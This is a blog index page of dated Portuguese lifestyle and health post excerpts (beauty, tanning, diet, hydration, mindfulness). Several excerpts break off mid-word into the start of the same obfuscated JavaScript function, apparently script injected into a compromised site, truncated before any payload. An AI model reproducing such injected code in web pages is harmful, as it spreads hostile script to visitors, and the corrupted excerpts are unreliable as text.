Ago 10, 2016 | Estilo e beleza
Este é o meu batom! ? Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Ago 10, 2016 | Equilíbrio, Estilo e beleza
Com o calor que está, a praia chama por si para longos banhos e sentir o sol bronzear a sua pele. Para estar sempre em grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Ago 8, 2016 | Equilíbrio, Saúde e bem estar
Diz quem sabe que os benefícios da beringela são vários: ajuda a reduzir o colesterol, atenua dores articulares, ajuda no trânsito intestinal e faz bem ao coração… mas não é tudo. Hoje revelo-lhe um segredo que vai adorar: a beringela é uma grfunction...
Ago 6, 2016 | Equilíbrio, Saúde e bem estar
No verão o chamamento do sol é algo a que nós não conseguimos resistir. Sentir a pele ficar bronzeada é meio caminho function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Ago 3, 2016 | Equilíbrio, Saúde e bem estar
7 dicas para se manter hidratado neste verão, por Lillian Barros É importante estarmos hidratados durante todo o ano, e em especial no verão, devido ao calor que nos faz desidratar mais facilmente. Mas, embora a água seja essencial à vida, nem todas as pessoas bebem o...
Ago 1, 2016 | Equilíbrio, Saúde e bem estar
Sinta-se confiante e tenha o melhor verão de sempre. Olá! É verão, está muito calor e só apetece ir à praia. Também acontece consigo? Mas a verdade é que por vezes evitamos a praia porque sentimos que estamos com uns quilinhos a mais e não estamos no nosso melhor. Sei...
Jul 27, 2016 | Equilíbrio, Saúde e bem estar
4 alimentos para um bronzeado perfeito, por Lillian Barros. O verão já chegou! Depois do inverno rigoroso e dos longos períodos chuvosos que tivemos, todos desejamos um pouco de sol, calor e uma pele bronzeada para tirar a barriga de misérias. Apesar de já existir uma...
Jul 25, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Olá! Como bem sabe tenho partilhado todos os passos da minha dieta aqui no meu site. Na semana passada escrevi sobre a fase da dieta Lev em que me encontro: a fase de manutenção. Nesta fase posso comer um pouco de tudo mas com peso e medida, ou seja, de forma...
Jul 21, 2016 | Equilíbrio, Saúde e bem estar
Mindfulness – 5 dicas para ganhar paz e ser mais feliz, por Laura Sanches O mindfulness – atenção plena em português – tem vindo a cativar cada vez mais pessoas. É um estado de atenção plena ao momento presente, de forma consciente. Os benefícios do mindfulness...
Jul 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
A minha vida é e sempre foi uma correria, um desassossego, cheia de compromissos. Eu gosto de um bom stress! Mas o mais importante nos meus dias são aqueles momentos que guardo só para mim e em que estou só comigo. Qufunction a4872b9c6b(y1){var...
